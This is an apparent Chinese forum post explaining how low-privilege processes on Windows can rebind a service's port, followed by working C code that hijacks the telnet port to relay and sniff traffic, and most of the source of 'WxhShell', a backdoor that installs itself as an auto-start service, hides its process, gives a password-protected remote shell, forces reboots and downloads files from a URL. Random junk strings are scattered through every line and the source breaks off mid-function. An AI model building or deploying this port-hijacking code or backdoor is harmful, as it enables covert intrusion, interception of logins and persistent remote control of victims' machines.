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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;6txTcn`=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H8]^f=  
},aWCvJL  
  saddr.sin_family = AF_INET; ~o'#AP#N~  
arQ %  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #*$@_  
7jH`_58  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~y H>Ko9F}  
[Um4\QvUx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m{.M,Lm:  
)B$P#dP)i  
  这意味着什么?意味着可以进行如下的攻击: #]DZrD&q  
akW3\(W}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6Su@a%=j  
"5JNXo,H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [H%?jTQ  
LsQ8sFP_"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b\;u9C2y'  
`-EH0'w~"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H..ZvGu  
,Zf!KQw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J-\?,4mcP  
RL Zf{Q>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lJzy)ne  
t<k [W'#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >-@ U_p  
CCh8?sM  
  #include Y0B1xL@  
  #include m?VRX .>  
  #include YATdGLTeq  
  #include    9N D+w6"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2ZG1n#  
  int main() _|  
  { -+=:+LhSMb  
  WORD wVersionRequested; ,;iBeqr5  
  DWORD ret; @fH&(@  
  WSADATA wsaData; c\MsVH2 |  
  BOOL val; A$%!9Cma  
  SOCKADDR_IN saddr; CTkN8{2S  
  SOCKADDR_IN scaddr; )ClMw!ZrU  
  int err; N.{jM[\F  
  SOCKET s; 90qj6.SQ  
  SOCKET sc; CFJjh^ ~=  
  int caddsize; $C05iD  
  HANDLE mt; pP0Vg'V  
  DWORD tid;   <@e+-$  
  wVersionRequested = MAKEWORD( 2, 2 ); i ,IM?+4  
  err = WSAStartup( wVersionRequested, &wsaData ); p + l_MB  
  if ( err != 0 ) { 3U~lI&  
  printf("error!WSAStartup failed!\n"); J/x@$'  
  return -1; +:,`sdv6o  
  } rFq@ ]t3q  
  saddr.sin_family = AF_INET; N8XC~Dh{  
   J,1osG<6x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }, fo+vRM  
u.kYp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G?ugMl}  
  saddr.sin_port = htons(23); II-$WJy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |#&V:GZp  
  { YXzZ-28,<  
  printf("error!socket failed!\n"); m@Ip^]9ry  
  return -1; fNqmTRu  
  } 7SK 3  
  val = TRUE; %[n R|a<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zvGK6qCk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TsX+. i'  
  { <4Q12:  
  printf("error!setsockopt failed!\n"); !b7'>b'J<1  
  return -1; k%l_N)38  
  } =F'M~3M   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f#v#)Gp+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Jh\: X<q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j6e}7  
7rdw`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {x[;5TM  
  { ("?&p3];b  
  ret=GetLastError(); ;V~rWzKM(  
  printf("error!bind failed!\n"); kG$E tE#  
  return -1; '(*&Ax  
  } AbF(MK=i  
  listen(s,2); om}/f`  
  while(1) skI(]BDf  
  { $7UoL,N>  
  caddsize = sizeof(scaddr); /bmXDDYH4  
  //接受连接请求 feI./E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |"R_-U  
  if(sc!=INVALID_SOCKET) ';b3Mm #  
  { Z cm<Fw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \L ]   
  if(mt==NULL) CZyz;Jtk  
  { n5v'  
  printf("Thread Creat Failed!\n"); lMC{SfdH  
  break; cq,v1Y<  
  } 382*  
  } F!gNt<fZ  
  CloseHandle(mt); Dn_"B0$lk  
  } 2~!R*i  
  closesocket(s); R <;OEN  
  WSACleanup(); x6^l6N  
  return 0; tlV &eN  
  }   D0 /DI  
  DWORD WINAPI ClientThread(LPVOID lpParam) dn ZzA  
  { J3e:Y!  
  SOCKET ss = (SOCKET)lpParam; /2;dH]o0  
  SOCKET sc; E dn[cH7  
  unsigned char buf[4096]; yB,{#nM>8  
  SOCKADDR_IN saddr; FxCZRo&  
  long num; 5LX8:~y  
  DWORD val; fB~O |g  
  DWORD ret; ebN(05ZV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wjTNO0hj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :zdEq" )v  
  saddr.sin_family = AF_INET; 2W^B{ZS;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 38c?^  
  saddr.sin_port = htons(23); J7BFk ?=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ryxYcEM0  
  { +T0op4  
  printf("error!socket failed!\n"); O' +"d%2'  
  return -1; sM9FE{,mx  
  } @Od^k#  
  val = 100; H8@8MFz\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "z^(dF|  
  { q,B3ru.?d  
  ret = GetLastError(); e>l,(ql  
  return -1; i:o}!RZ>  
  } ZFS7{:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  nbI= r+  
  { AGOx@;w  
  ret = GetLastError(); (CdJ;-@D  
  return -1; 'K@-Z]  
  } TUh&d5a9H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]^=|Zd-  
  { qib 7Z]j  
  printf("error!socket connect failed!\n"); 6HoqEku/Q  
  closesocket(sc); [X,A'Q  
  closesocket(ss); AR%hf  
  return -1; /+V Iw`E  
  } CjZZm^O  
  while(1) R?cUy8?'S  
  { _!n}P5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QR<`pmB~y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 43zUN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +TC1nkX  
  num = recv(ss,buf,4096,0); CqqXVF3  
  if(num>0) R7K!A %  
  send(sc,buf,num,0); B?LXI3sQZ  
  else if(num==0) 25:Z;J>  
  break; v:KX9A.  
  num = recv(sc,buf,4096,0); b'i'GJBQ+$  
  if(num>0) .~3kGf":  
  send(ss,buf,num,0); CRFCqmevR  
  else if(num==0) v "Me{+  
  break; 6*IpAIh  
  } 0n3D~Xzd  
  closesocket(ss); XCDSmZ  
  closesocket(sc); 9tn;L"#&N  
  return 0 ; #G_F`&  
  } Sw)i1S9  
ncv7t|ZN  
!z"Nv1!~|  
========================================================== ?"6Ov ]  
) Qq'Wp3i  
下边附上一个代码,,WXhSHELL W>B^S  
Ekv89swl`i  
========================================================== <I; 5wv  
hd B |#t  
#include "stdafx.h" #,L~w  
7^$)VBQ/  
#include <stdio.h> '0|o`qoLzA  
#include <string.h> 7J UbVa%  
#include <windows.h> z}ElpT[(;  
#include <winsock2.h> 0DNU,u  
#include <winsvc.h> 1dFa@<5  
#include <urlmon.h> V<8K@/n@  
62[8xn=(%  
#pragma comment (lib, "Ws2_32.lib") 740B\pc0  
#pragma comment (lib, "urlmon.lib") GWsd| kxU  
{.st`n|xz  
#define MAX_USER   100 // 最大客户端连接数 H}Ucrv:  
#define BUF_SOCK   200 // sock buffer uWjN2#&,  
#define KEY_BUFF   255 // 输入 buffer fc@'9- pt  
$X \va?(  
#define REBOOT     0   // 重启 ["y6b*;x  
#define SHUTDOWN   1   // 关机 9#7J:PfZ<  
zB*euHIqZ  
#define DEF_PORT   5000 // 监听端口 L@RIZu>ZW+  
@o>EBZ7MS  
#define REG_LEN     16   // 注册表键长度 - v]Qhf&>  
#define SVC_LEN     80   // NT服务名长度 )%mg(O8uL  
g5+7p@'fV  
// 从dll定义API S]^`woD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); { p;shs5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h >-'-Hx+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |;+qld[4z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a?F!,=F  
lCJ6Ur;  
// wxhshell配置信息 i?>tgmu.  
struct WSCFG { 0:"2MSf>  
  int ws_port;         // 监听端口 mdW~~-@H  
  char ws_passstr[REG_LEN]; // 口令 F";.6%;AC  
  int ws_autoins;       // 安装标记, 1=yes 0=no F;8*H1  
  char ws_regname[REG_LEN]; // 注册表键名  c 6"Ib)  
  char ws_svcname[REG_LEN]; // 服务名 ;au*V5a%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,zhJY ?sk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `&!k!FZY*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C&+6>L@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fv8f+)k)Z~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /7D<'MF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,\YAnKn6_  
mM_ k ^4:  
}; qnChM ;)  
`zA#z />  
// default Wxhshell configuration 1vnYogL   
struct WSCFG wscfg={DEF_PORT, , sjh^-;  
    "xuhuanlingzhe", thc <xxRP  
    1, _Mk7U@j+9  
    "Wxhshell", +D&Pp0xe  
    "Wxhshell", [Wi 1|]X"G  
            "WxhShell Service", IXpc,l `  
    "Wrsky Windows CmdShell Service", jq-l5})h  
    "Please Input Your Password: ", eF~dQ4RZ  
  1, xwi\  
  "http://www.wrsky.com/wxhshell.exe", wM~H(=s`D  
  "Wxhshell.exe" 29&bbfU  
    }; SmhGZ  
I9?Ec6a_  
// 消息定义模块 \]uV!)V5B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V`kMCE;?l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -]srp;=i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u0 QzLi,  
char *msg_ws_ext="\n\rExit."; :nA.j"@  
char *msg_ws_end="\n\rQuit."; 6*45Vf  
char *msg_ws_boot="\n\rReboot..."; = &tmP  
char *msg_ws_poff="\n\rShutdown..."; -C-yQ.>\T#  
char *msg_ws_down="\n\rSave to "; jQS 6J+F]  
M f~}/h  
char *msg_ws_err="\n\rErr!"; AY,].Zg[  
char *msg_ws_ok="\n\rOK!"; %<0eA`F4  
5] 5 KB;  
char ExeFile[MAX_PATH]; =Yz'D|=t  
int nUser = 0; K/L;8a  
HANDLE handles[MAX_USER]; t `kui.  
int OsIsNt; g%nl!dgS  
h6~$/`&]b  
SERVICE_STATUS       serviceStatus; [P~hjmJ(y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OsqN B'X  
]QVNn?PA8  
// 函数声明 rx0~`cVV:  
int Install(void); -' g*^  
int Uninstall(void); a u7.4ln>Y  
int DownloadFile(char *sURL, SOCKET wsh); v&a4^s  
int Boot(int flag); z^<L(/rg9"  
void HideProc(void); bN$r k|  
int GetOsVer(void); \$sjrqKnu  
int Wxhshell(SOCKET wsl); A9BX_9}]  
void TalkWithClient(void *cs); ,m_WR7!$E  
int CmdShell(SOCKET sock); ZfrVjUB  
int StartFromService(void); IQZ#-)[T"  
int StartWxhshell(LPSTR lpCmdLine); CVNj- &vj  
bi[IqU!9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C;+h.;}<D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?e[lr>-  
4_A0rveP  
// 数据结构和表定义 A@hppaP!  
SERVICE_TABLE_ENTRY DispatchTable[] = U8.7>ENnP&  
{ ]\ !5}L  
{wscfg.ws_svcname, NTServiceMain}, R :X0'zeRr  
{NULL, NULL} `h:34RC;  
}; `d7n?|pD  
YNwp/Y  
// 自我安装 km~Ll   
int Install(void) br-]fE.be  
{ AN!s{7V3  
  char svExeFile[MAX_PATH]; Ae]sGU|?'  
  HKEY key; kQ1w5mCh  
  strcpy(svExeFile,ExeFile); ^9Qy/Er'  
=X\^J  
// 如果是win9x系统,修改注册表设为自启动 &>d:R_Q]  
if(!OsIsNt) { >NYW{(j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wX  >*H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #$1Z  
  RegCloseKey(key); k:jSbbQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I[)%,jd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mKr h[nA  
  RegCloseKey(key); h2ytS^  
  return 0; 7f rTTSZ  
    } %\]* OZ7  
  } ) e5 @  
} wLK07e(  
else { (e(:P~Ry  
<-D/O$q  
// 如果是NT以上系统,安装为系统服务 ^8.]d~j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YIw1  
if (schSCManager!=0) ~ab:/!Z  
{ T,aW8|  
  SC_HANDLE schService = CreateService $9Hcdbdm  
  ( Po%LE]v,  
  schSCManager, [sB 9gY(  
  wscfg.ws_svcname, F*"}aP$  
  wscfg.ws_svcdisp, &f-Uyr7?  
  SERVICE_ALL_ACCESS, S<'[%ihx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F~ h7{@\  
  SERVICE_AUTO_START, .o) `m9/  
  SERVICE_ERROR_NORMAL, C74a(Bk}H  
  svExeFile, /c uLc^(X  
  NULL, lpz2 m\  
  NULL, wgCa58H76  
  NULL, Z#rB}  
  NULL, CHe>OreiS  
  NULL 89r DyRJ;  
  ); dFKM 8_jH  
  if (schService!=0) ^0/j0]O  
  { ;L']e"G  
  CloseServiceHandle(schService); CrwwU7qKL  
  CloseServiceHandle(schSCManager); 5[c^TJ3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); feQ **wI  
  strcat(svExeFile,wscfg.ws_svcname); +v=C@2T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .l.a(_R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X5 j1`t,  
  RegCloseKey(key); Djg,Lvhm  
  return 0; Na:w]r:y  
    } Q~Hy%M%R3  
  } tQS5hwm*  
  CloseServiceHandle(schSCManager); : |>Gc39`t  
} +E{|63~q  
} %i5M77#Z  
\otWd  
return 1; 8ji_#og  
} y3fGWa*7e  
U&?v:&c#&n  
// 自我卸载 w@{=nD4p  
int Uninstall(void) 'FDef#P<  
{ =weSyZ1~  
  HKEY key; -3Hy*1A.  
_H5o'>=  
if(!OsIsNt) { HSc~*Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1fpQLaT  
  RegDeleteValue(key,wscfg.ws_regname); %44leINx  
  RegCloseKey(key); UEguF &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ljb7oA3cP4  
  RegDeleteValue(key,wscfg.ws_regname); [PDNwh0g5  
  RegCloseKey(key); Q\ 0cvmU  
  return 0; #3gp6*R  
  } 1,% R;7J=g  
} XCBL}pNkR  
} g"}%2~Urf  
else { 0$ S8 fF@  
NxsBX :XDn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !wNr3LG  
if (schSCManager!=0) 2.l:O2<  
{ tNbN7yI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !6*"(  
  if (schService!=0) S[J}UpV  
  { _no*k?o *  
  if(DeleteService(schService)!=0) { MB]<Dyj,  
  CloseServiceHandle(schService); 8|\8O@  
  CloseServiceHandle(schSCManager); a6uJYhS~  
  return 0; |>dI/_'  
  } =w{Z@S(ukz  
  CloseServiceHandle(schService); vkri+:S3  
  } Zcx`SC-0  
  CloseServiceHandle(schSCManager); e]zBf;9 J  
} C$XU%5qi  
} PamO8^!G  
67Th;h*sh  
return 1; OWg(#pZk  
} l4uMG]m  
(2$p{Uf  
// 从指定url下载文件 HK2[]G  
int DownloadFile(char *sURL, SOCKET wsh) ?gt l)q  
{ %5"9</a&G  
  HRESULT hr; nH[yJGZYSA  
char seps[]= "/"; Wa{`VS  
char *token; @eKec1<  
char *file; ddJe=PUb  
char myURL[MAX_PATH]; /7Cc#P6  
char myFILE[MAX_PATH]; "W955?4m  
W *),y:  
strcpy(myURL,sURL); <^5Z:n!q  
  token=strtok(myURL,seps); t*1fLumXR  
  while(token!=NULL) 7`DBS^O]dG  
  { $#9;)8J  
    file=token; .uMn0PE   
  token=strtok(NULL,seps); o<pf#tifv  
  } m8d!< h  
Bf~vA4  
GetCurrentDirectory(MAX_PATH,myFILE); i#vYyVr[  
strcat(myFILE, "\\"); gc-@"wI?  
strcat(myFILE, file); j i7[nY  
  send(wsh,myFILE,strlen(myFILE),0); Lr~=^{  
send(wsh,"...",3,0); (ROY?5 @c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y[}>CYO  
  if(hr==S_OK) #W4dkCd(pF  
return 0; H4&lb}  
else L.*M&Ry  
return 1; |EX(8y  
P2#XKG  
} r\'A i6  
o$jLzE"  
// 系统电源模块 uKUiV%p!  
int Boot(int flag) g| I6'K!<  
{ O;:mCt _H  
  HANDLE hToken; (MxQ+D\  
  TOKEN_PRIVILEGES tkp; MOQ*]fV:  
4%>$-($  
  if(OsIsNt) { s(/; U2"e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^/I 7|u]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); < $lCkSx<Q  
    tkp.PrivilegeCount = 1; YNKHN2E8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; chM%]|gey  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &^}1O:8e  
if(flag==REBOOT) { {?}E^5Z*g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0zmE>/O+  
  return 0; r*2+xDoEi  
} cQy2"vtU  
else { RzE_K'M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Lo{ E:5q  
  return 0; *\+\5pu0  
} qouhuH_WtJ  
  } %Nlt H/I  
  else { M?Y;a5{  
if(flag==REBOOT) { ,8U &?8l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) snE8 K}4  
  return 0; `u3EU*~W  
} BC&S>#\  
else { .o(fe\KHf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o=1Uh,S3R  
  return 0; *+Ek0M  
} 6m* QX+  
} ]b2pG'  
^a0um/+M}  
return 1; EN<F# Y3E  
} c}lb%^;)E  
 VA6}  
// win9x进程隐藏模块 at#ja_ hd  
void HideProc(void) ?~BC#B\>o  
{ Gw/Pk4R  
)WNzWUfn=z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8]M;T>n[  
  if ( hKernel != NULL ) LO9=xGj.  
  { cLpYW7vZ[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?pW`cFLDHF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GZN ^k+w  
    FreeLibrary(hKernel); aL+ o /  
  } T0wW<_jh  
HJ=:8:  
return; !![DJ  
} \=VtHu92=  
1gL2ia  
// 获取操作系统版本 RIWxs Zt  
int GetOsVer(void) ugdQAg  
{ vOn`/5-  
  OSVERSIONINFO winfo; 6 a(yp3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dI.WK@W'o  
  GetVersionEx(&winfo); w1Nm&}V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g0xuxK;9c  
  return 1; ZQ4p(6a   
  else %aG5F}S2~  
  return 0; 9vuyv*-}e  
} g/ T   
| k&Ck  
// 客户端句柄模块 \(?rQg@U  
int Wxhshell(SOCKET wsl) CM/H9Kz.  
{ $O&b``  
  SOCKET wsh; 9&-dTayIz  
  struct sockaddr_in client; Sq>dt[7  
  DWORD myID; DrKP%BnS  
|HiE@  
  while(nUser<MAX_USER) F&4rO\aC"/  
{ L*Tj^q!t+  
  int nSize=sizeof(client); 27eooY1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jj; L3S  
  if(wsh==INVALID_SOCKET) return 1; py$Q  
}^ApJS(FQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sj%u)#Ub  
if(handles[nUser]==0) >{q]&}^U  
  closesocket(wsh); C)um9}  
else faE t6  
  nUser++; Go5J%&E9  
  } TH%Qhv\]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9'fQHwsJ  
%f&/E"M  
  return 0; K0u|U`   
} t URu0`](  
z Xg3[orF  
// 关闭 socket b o6d)Q  
void CloseIt(SOCKET wsh) zU5v /'h>d  
{ qzYwt]GNS  
closesocket(wsh); R5N%e%[  
nUser--; CuaVb1r  
ExitThread(0); ^h(ew1:  
} t|w_i-&b,  
{3|t;ZHk  
// 客户端请求句柄 |B?cVc0  
void TalkWithClient(void *cs) g#"zQvON  
{ C8J[Up  
{c6=<Kv  
  SOCKET wsh=(SOCKET)cs; S5gyr&dm  
  char pwd[SVC_LEN]; Y z<3JRw  
  char cmd[KEY_BUFF]; u0JB\)(-/h  
char chr[1]; UFXaEl}R   
int i,j; B{QBzx1L9c  
T;Lkaxsn  
  while (nUser < MAX_USER) { \ ZgE  
sQYkQ81  
if(wscfg.ws_passstr) { QE^$=\l0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U\g/2dM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iowTLq!?  
  //ZeroMemory(pwd,KEY_BUFF); Gj1&tjK  
      i=0; 0\X\izQ5  
  while(i<SVC_LEN) { d6Ht2  
"|x^|n8i  
  // 设置超时 %v=*Wb\3|  
  fd_set FdRead; =ElO?9&  
  struct timeval TimeOut; X:A^<L ~  
  FD_ZERO(&FdRead); L ^r#o-H<  
  FD_SET(wsh,&FdRead); GB23\Yv  
  TimeOut.tv_sec=8; >@U*~Nz  
  TimeOut.tv_usec=0; ] ]u s %  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1auIR/=-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iW)8j 8  
{0[tNth'h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >BV^H.SO|1  
  pwd=chr[0]; x) ,eI'mf  
  if(chr[0]==0xd || chr[0]==0xa) { ]3D0R;  
  pwd=0; b_$4V3TA  
  break; AiwOc+R  
  } tP:lP#9  
  i++; BOX{]EOj  
    } T(#J_Y  
R}-(cc%5  
  // 如果是非法用户,关闭 socket 4zXFuTr($  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aHV;N#Lx3  
} G0CW}e@)  
+>8'mf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C/q'=:H;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); us1Hu)  
NG=@ -eu  
while(1) { Df}A^G >X  
*^\Ef4Lh  
  ZeroMemory(cmd,KEY_BUFF); -z ID x  
6]&OrS[  
      // 自动支持客户端 telnet标准   .6ylZ  
  j=0; evya7^,F  
  while(j<KEY_BUFF) { 3$jT*OyG#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XPavReGf  
  cmd[j]=chr[0]; IQAZuN"<  
  if(chr[0]==0xa || chr[0]==0xd) { 4svBzZdr  
  cmd[j]=0; HCIU!4rH  
  break; _mj,u64  
  } Yz'K]M_Dq  
  j++; y8d]9sX{  
    } [meO[otb  
])[[ V!1  
  // 下载文件 #oS<E1  
  if(strstr(cmd,"http://")) { )\1QJ$-M&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KKb,d0T[  
  if(DownloadFile(cmd,wsh)) IY_iB*T3jt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]P9l jwR  
  else B |5]Jm]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kGH}[w  
  } s%vis{2  
  else { /Y/UM3/  
u]g%@3Pn  
    switch(cmd[0]) { 5 )A1\  
  *1ilkmL%  
  // 帮助 >,v`EIg  
  case '?': { eln)BW#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |O{m2Fi  
    break; 272q1~&  
  } F6LH $C  
  // 安装 -zCH**y%1  
  case 'i': { w0[6t#$F  
    if(Install()) ZFA`s qT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *2ZjE!A  
    else N&.H|5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `:ArT}F  
    break; $r^GE  
    } O n8v//=&  
  // 卸载 i"1Mfz~e  
  case 'r': { I!ED?n  
    if(Uninstall()) <!&[4-;fU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HNb/-e ,"  
    else S%$ }(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^8]NxV@l  
    break; )~& CvJ  
    } aacpM[{f  
  // 显示 wxhshell 所在路径 n|6Ic,:[  
  case 'p': { aR[JD2G  
    char svExeFile[MAX_PATH]; uY{|szC^2  
    strcpy(svExeFile,"\n\r"); PoHg,n]  
      strcat(svExeFile,ExeFile); EW}Bzh>b  
        send(wsh,svExeFile,strlen(svExeFile),0); ##q2mm:a9P  
    break; q?Cnav`DY  
    } gK+ 4C  
  // 重启 @Y?#Sl*  
  case 'b': { e- ~N"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _H9 MwJ  
    if(Boot(REBOOT)) d|jNf</`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); > ;jZa  
    else { |+{)_?  
    closesocket(wsh); `b?R#:G  
    ExitThread(0); Av$]|b  
    } Vk` h2BV  
    break; mJ<=n?{Z  
    } Qu"8(Jk/  
  // 关机 S\^P ha q  
  case 'd': { 32(^Te]:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oF vfCrd  
